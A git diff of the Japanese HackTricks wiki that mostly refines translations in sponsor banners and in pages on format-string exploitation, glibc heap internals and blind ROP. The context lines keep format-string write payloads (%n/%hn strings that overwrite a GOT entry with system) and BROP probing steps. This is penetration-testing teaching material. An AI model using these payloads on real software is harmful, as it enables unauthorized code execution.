diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..e70bceed6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..d798d9edc 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d798d9edc..1ec78aebd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 1ec78aebd..020fb69e2 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 020fb69e2..e3657baf3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index e3657baf3..f95e8e4d5 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index f95e8e4d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index 9dcb86f81..f3314db22 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index f3314db22..7a07c3343 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index 7a07c3343..b40c8ed4a 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index b40c8ed4a..977c3f327 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 977c3f327..0b2fb1ac2 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 0b2fb1ac2..02f2bc2fe 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/README.md b/README.md index b94036c50..45a901fd0 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_ {% hint style="success" %} -**CTF、実際のアプリ、研究を読むこと、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。** +**CTF、実際のアプリ、研究の読書、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。** {% endhint %} 始めるには、このページに従って、**1台以上のマシンをペンテストする際に従うべき典型的な流れ**を見つけてください: @@ -42,9 +42,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
-**Intigriti**は、**ヨーロッパの#1**の倫理的ハッキングおよび**バグバウンティプラットフォーム**です。 +**Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。 -**バグバウンティのヒント**:**Intigriti**に**サインアップ**してください。ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**の報酬を得始めましょう! +**バグバウンティのヒント**:**Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォームです!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -55,7 +55,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築および**自動化**します。 +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。 今すぐアクセスを取得: @@ -65,12 +65,12 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [HACKENPROOF](https://bit.ly/3xrrDrL) -
+
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! * **ハッキングの洞察**:ハッキングのスリルと課題に深く掘り下げたコンテンツに参加 -* **リアルタイムハックニュース**:リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握 +* **リアルタイムハックニュース**:リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握 * **最新の発表**:新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る **私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう! @@ -79,7 +79,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 必須のペネトレーションテストツールキット -
+
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** @@ -87,23 +87,20 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -{% endembed %} - *** ### [SerpApi](https://serpapi.com/)
-**SerpApi**は、**検索エンジンの結果**にアクセスするための迅速で簡単なリアルタイムAPIを提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。 +**SerpApi**は、**検索エンジンの結果にアクセスするための迅速で簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。 -SerpApiのプランのサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれています。\ +SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\ 他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。 -現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれています。\ -詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\ -**ここで無料アカウントを作成**できます[**こちら**](https://serpapi.com/users/sign\_up)**。** +現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\ +詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ +**無料アカウントを作成**するには、[**こちら**](https://serpapi.com/users/sign\_up)をクリックしてください。** *** @@ -111,7 +108,7 @@ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu
-[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**手助けをしています。**攻撃的セキュリティサービス**を提供する**現代的な**アプローチを採用しています。 +[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**手助けをしています。**攻撃的セキュリティサービス**を提供する現代的なアプローチを採用しています。 WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。 @@ -123,7 +120,7 @@ WebSecのもう一つの素晴らしい点は、業界の平均とは異なり ## License & Disclaimer -彼らを確認してください: +確認してください: {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -142,7 +139,7 @@ GCPハッキングを学び、実践する:HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md index ce2c44a00..7224ae8f8 100644 --- a/binary-exploitation/format-strings/README.md +++ b/binary-exploitation/format-strings/README.md @@ -10,12 +10,12 @@ GCPハッキングを学び、実践する:
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -23,11 +23,11 @@ GCPハッキングを学び、実践する:$n`** は、スタックの\パラメータで指定されたアドレスに**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%$n`** を使って任意のアドレスに任意の数を**書き込む**ことができます。 +フォーマッタ **`%$n`** は、スタックの\パラメータにある**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%$n`** を使って任意のアドレスに任意の数を**書き込む**ことができます。 -幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.%$n`** を使用して、**``** の数を**`num`位置で指し示されるアドレス**に書き込むことが可能です。 +幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.%$n`** を使用して、**``**という数を**`num`位置が指すアドレスに書き込む**ことが可能です。 ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。 +しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われます。1回目はアドレスの上位2バイト、2回目は下位2バイトです。 したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。** @@ -173,17 +173,17 @@ AAAA.%500\$08x —> Param at offset 500 {% endcontent-ref %} 私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\ -前述のように、アドレスを書くためには通常2ステップが必要です:最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。 +前述のように、アドレスを書くためには通常2ステップが必要です。最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。 * **HOB**はアドレスの上位2バイトに呼び出されます * **LOB**はアドレスの下位2バイトに呼び出されます -次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**、その後にもう一方を書きます。 +次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**。次にもう一方を書きます。 -もしHOB < LOB\ +HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -もしHOB > LOB\ +HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB @@ -196,7 +196,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ### Pwntools テンプレート -この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は、以下にあります: +この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は以下にあります: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) @@ -237,9 +237,9 @@ p.interactive() * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列(フローがもう1回ループバックするように)および`strlen`を指すGOTテーブル内の`system`へのアドレスを書き込む。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。 -
+
-**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_). {% embed url="https://www.stmcyber.com/careers" %} @@ -251,5 +251,5 @@ HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** {% endhint %} diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md index 91e2bcba4..11059d696 100644 --- a/binary-exploitation/libc-heap/README.md +++ b/binary-exploitation/libc-heap/README.md @@ -10,7 +10,7 @@ ### 基本的なチャンクの割り当て -ヒープに格納するデータが要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を把握します。 +ヒープに格納するデータが要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を知ることができます。 スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです: @@ -29,7 +29,7 @@ これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を行うことができます。 -デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍の制限まで行います。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。 +デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコアの数の2倍、64ビットシステムでは8倍の制限まで行います。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。 メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。 @@ -41,11 +41,11 @@ * 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。 * セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。 2. **`mmap`によるメモリ予約**: -* ヒープマネージャーがサブヒープを作成する際、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。 +* ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。 * デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1 MB、64ビットプロセスで64 MBです。 3. **`mprotect`による段階的拡張**: * 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。 -* サブヒープを「成長」させるために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。 +* サブヒープを「成長させる」ために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。 * サブヒープ全体が使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。 ### heap\_info @@ -71,10 +71,10 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ### malloc\_state **各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体があります。**\ -**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要です(したがってlibcメモリ空間に位置しています)。\ -スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内に位置しています**。 +**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要です(したがって、libcのメモリ空間にあります)。\ +スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内にあります**。 -この構造体から注目すべきいくつかの興味深い点があります(以下のCコードを参照): +この構造体から注目すべき興味深い点がいくつかあります(以下のCコードを参照): * `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。 * フラグ: @@ -86,7 +86,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -* `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されていないためです)。 +* `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含みます(-2はインデックス0が使用されていないためです)。 * したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。これは基本的に、**メインアリーナでこれらのアドレスをl**eakできれば、**libc**内の構造体へのポインタを持つことを意味します。 * 構造体`struct malloc_state *next;`と`struct malloc_state *next_free;`はアリーナのリンクリストです。 * `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」であると、ヒープは完全に使用されており、さらにスペースを要求する必要があります。 @@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -以前にコメントしたように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています: +前述のように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

@@ -165,7 +165,7 @@ typedef struct malloc_chunk* mchunkptr; * `M`: 1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではありません * `P`: 1の場合、前のチャンクは使用中です -次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08B(または割り当てられたときにユーザーデータを格納するため)。 +次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08B(または割り当てられたときにユーザーデータを格納するため)があります。 さらに、利用可能な場合、ユーザーデータは次のデータを含むためにも使用されます: @@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -注意:必要な総スペースを計算する際、`prev_size` フィールドはデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されます。したがって、初期ヘッダーのみが必要です。 +注意:必要な総スペースを計算する際、`prev_size` フィールドはデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されることに注意してください。したがって、初期ヘッダーのみが必要です。 ### チャンクデータを取得し、メタデータを変更する @@ -327,7 +327,7 @@ people extending or adapting this malloc. /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` -* インシュービット +* インスー ビット ```c /* extract p's inuse bit */ #define inuse(p) \ @@ -351,7 +351,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -* ヘッダーとフッターを設定する(チャンク番号が使用されている場合) +* チャンク番号が使用されている場合、ヘッダーとフッターを設定する ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -408,11 +408,11 @@ ptr = malloc(0x10); strcpy(ptr, "panda"); } ``` -Set a breakpoint at the end of the main function and lets find out where the information was stored: +メイン関数の終わりにブレークポイントを設定し、情報がどこに保存されているかを見てみましょう:
-文字列pandaが`0xaaaaaaac12a0`に格納されていることがわかります(これは`x0`内のmallocによって返されたアドレスです)。0x10バイト前を確認すると、`0x0`は**前のチャンクが使用されていない**ことを示しており(長さ0)、このチャンクの長さは`0x21`です。 +文字列pandaが`0xaaaaaaac12a0`に保存されていることがわかります(これは`x0`内のmallocによって返されたアドレスです)。0x10バイト前を確認すると、`0x0`は**前のチャンクが使用されていない**ことを示しており(長さ0)、このチャンクの長さは`0x21`です。 予約された余分なスペース(0x21-0x10=0x11)は**追加ヘッダー**(0x10)から来ており、0x1は0x21Bが予約されたことを意味するのではなく、現在のヘッダーの長さの最後の3ビットには特別な意味があります。長さは常に16バイト境界に揃えられているため(64ビットマシンで)、これらのビットは実際には長さの数値によって使用されることはありません。 ``` @@ -470,11 +470,11 @@ return 0; 前の例をデバッグすると、最初に1つのアリーナしかないことがわかります: -
+
次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます: -
+
その中にはいくつかのチャンクが見つかります: diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 24b9c6aa9..d3f844428 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -1,16 +1,16 @@ # BROP - Blind Return Oriented Programming {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
{% endhint %} @@ -25,11 +25,11 @@ Learn & practice GCP Hacking:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

これらがガジェットです: @@ -60,13 +60,13 @@ Learn & practice GCP Hacking: クラッシュしない * `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> クラッシュしない @@ -74,16 +74,16 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR ### 7. strcmpを見つける -**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるために**0より大きくする必要があります**。 +**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるために**0より大きい**必要があります。 -次のように、関数の最初の2つの引数を制御できることを利用して、PLT内の**`strcmp`**の位置を見つけることができます: +**`strcmp`**のPLT内の位置を、その動作に基づいて見つけることが可能です。なぜなら、私たちは今、関数の最初の2つの引数を制御できるからです: * strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ * strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ * strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ * strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない -これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb**(**`dlresolve`**を呼び出す)し、スタック内に**調査したいエントリ番号**(ゼロから始まる)を続けて、最初のエントリからすべてのPLTエントリをスキャンします: +これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb**(これは**`dlresolve`**を呼び出します)で、スタック内に**調べたいエントリ番号**(ゼロから始まる)を続けて、最初のエントリからすべてのPLTエントリをスキャンします: * 